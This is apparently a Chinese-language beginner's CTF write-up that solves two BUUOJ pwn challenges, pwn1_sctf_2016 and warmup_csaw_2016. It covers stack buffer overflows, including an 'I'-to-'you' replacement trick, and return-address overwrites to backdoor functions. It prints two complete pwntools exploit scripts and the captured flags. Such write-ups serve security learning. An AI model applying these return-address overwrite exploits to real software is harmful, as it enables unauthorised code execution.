砰!

       
-------------已经到底啦!-------------
 

放假在家准备接触一下从未挑战过的pwn

pwn1_sctf_2016

Download文件后checksec

地址在哪已经显而易见了,接着我们IDA静态分析一下;

找到漏洞函数

s的长度为60,而我们只能够输入32个字符,不足以栈溢出;
但是replace函数会把我们输入的I替换成you,I是一个字符,you是三个字符,这样输入20个I既不会超过32字符限制,最终替换成60个字符也能够填满s.

找到后门函数:08048F0D

:::info
exp:
:::

1
2
3
4
5
6
7

from pwn import *
p = remote("node3.buuoj.cn",27833)
payload = b'I'*20+b'a'*4+p64(0x08048F0D)
p.sendline(payload)
p.interactive()

执行结果:

拿到flag:
!!!flag{5e9a24f6-ddb2-4237-b3e0-6d968c34cec8}!!!{.bulr}

warmup_csaw_2016

拖入IDA F5

发现要求输入v5自变量;

v5的可用栈大小为0x40
可以看出,这个gets绝对有问题;

程序存在后门:

sub_40060D的地址为0x40060D

下面我们可以写个脚本跑出flag;
在此之前我们知道v5的栈大小为0x40,但还需要加上返回值的8个字符;
最终为0x48.

:::info
构造exp
:::

1
2
3
4
5
6
7

from pwn import *
p = remote("node3.buuoj.cn",28395)
payload = b'a'*0x48+p64(0x40060D)
p.sendline(payload)
p.interactive()

得到flag:

!!flag{a15dd406-0d79-4f49-b5a0-3dde546a4d3d}!! {.bulr}